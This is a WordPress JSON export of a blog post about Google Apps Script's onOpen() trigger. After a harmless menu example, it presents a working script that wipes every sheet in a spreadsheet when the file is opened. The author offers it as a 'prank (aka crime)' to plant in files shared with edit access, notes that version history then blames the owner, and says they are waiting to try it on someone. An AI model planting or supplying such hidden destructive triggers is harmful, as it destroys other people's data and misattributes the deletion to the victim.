{"id":977,"date":"2020-05-21T07:31:57","date_gmt":"2020-05-21T07:31:57","guid":{"rendered":"http:\/\/sp2hari.com\/?p=977"},"modified":"2020-05-21T07:31:57","modified_gmt":"2020-05-21T07:31:57","slug":"suicide","status":"publish","type":"post","link":"https:\/\/sp2hari.com\/index.php\/2020\/05\/21\/suicide\/","title":{"rendered":"Suicide"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow-1024x539.jpg\" alt=\"\" class=\"wp-image-980\" width=\"768\" height=\"404\" srcset=\"https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow-1024x539.jpg 1024w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow-300x158.jpg 300w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow-768x404.jpg 768w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow-1536x808.jpg 1536w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow-570x300.jpg 570w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/The-Simpsons-Mr.-Burns-Shadow.jpg 1710w\" sizes=\"auto, (max-width: 768px) 100vw, 768px\" \/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">This post is the result of writing a LOT of Google apps scripts and watching a lot of &#8216;<a href=\"https:\/\/en.wikipedia.org\/wiki\/Forensic_Files\">Forensic Files<\/a>&#8216; in Netflix.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">An interesting function I used so far to attach a menu is the onOpen() function. The code inside the onOpen() function executes when the file is opened. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">For example, following code is an example of onOpen from my previous post. It adds a menu called &#8216;JetPack&#8217; with an item under it called &#8216;Mail Merge as PDF&#8217;.<\/p>\n\n\n\n<pre class=\"wp-block-syntaxhighlighter-code\">function onOpen() {\n  SpreadsheetApp\n    .getUi()\n    .createMenu('JetPack')\n    .addItem('Mail Merge as PDF', 'generatePDF')\n    .addToUi()\n}<\/pre>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"http:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.28.49-AM.png\" alt=\"\" class=\"wp-image-996\" width=\"585\" height=\"227\" srcset=\"https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.28.49-AM.png 780w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.28.49-AM-300x117.png 300w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.28.49-AM-768x298.png 768w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.28.49-AM-772x300.png 772w\" sizes=\"auto, (max-width: 585px) 100vw, 585px\" \/><figcaption>Creating custom menu using script<\/figcaption><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">This made me think of a perfect prank (aka crime). What if I inject the following code for onOpen()<\/p>\n\n\n\n<pre class=\"wp-block-syntaxhighlighter-code\">function onOpen() {\n  var spreadsheet = SpreadsheetApp.getActiveSpreadsheet();\n  var sheets = spreadsheet.getSheets();\n  for (var i = 0; i &lt; sheets.length; i++) {\n    sheets[i].clear();\n  }\n}<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">The above scripts clears all the contents of the spreadsheet when you open the file. \ud83d\ude42 This script will work only on the current file and won&#8217;t work on other files. Hence, the perfect suicide. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">The interesting part is that this works even if the file is shared with you with edit access. Just plugin the script and wait for the owner to open the file. The best part about this is that the version history doesn&#8217;t show that you did anything. It points back to the owner (or whoever opened the file) as if they removed all the contents of the file. For example, something like this<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"298\" height=\"517\" src=\"http:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.13.20-AM.png\" alt=\"\" class=\"wp-image-987\" srcset=\"https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.13.20-AM.png 298w, https:\/\/sp2hari.com\/wp-content\/uploads\/2020\/05\/Screenshot-2020-05-20-at-1.13.20-AM-173x300.png 173w\" sizes=\"auto, (max-width: 298px) 100vw, 298px\" \/><\/figure><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">And why this is a suicide? Because the file kills itself. Pretty cool hack\/crime. Waiting to try this on someone!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Disclaimer: I&#8217;m not responsible for any damage done because of the script above. <\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>This post is the result of writing a LOT of Google apps scripts and watching a lot of &#8216;Forensic Files&#8216; in Netflix. An interesting function I used so far to attach a menu is the onOpen() function. The code inside the onOpen() function executes when the file is opened. For &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[13,10],"tags":[],"class_list":["post-977","post","type-post","status-publish","format-standard","hentry","category-code","category-covid19"],"_links":{"self":[{"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/posts\/977","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/comments?post=977"}],"version-history":[{"count":18,"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/posts\/977\/revisions"}],"predecessor-version":[{"id":998,"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/posts\/977\/revisions\/998"}],"wp:attachment":[{"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/media?parent=977"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/categories?post=977"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sp2hari.com\/index.php\/wp-json\/wp\/v2\/tags?post=977"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}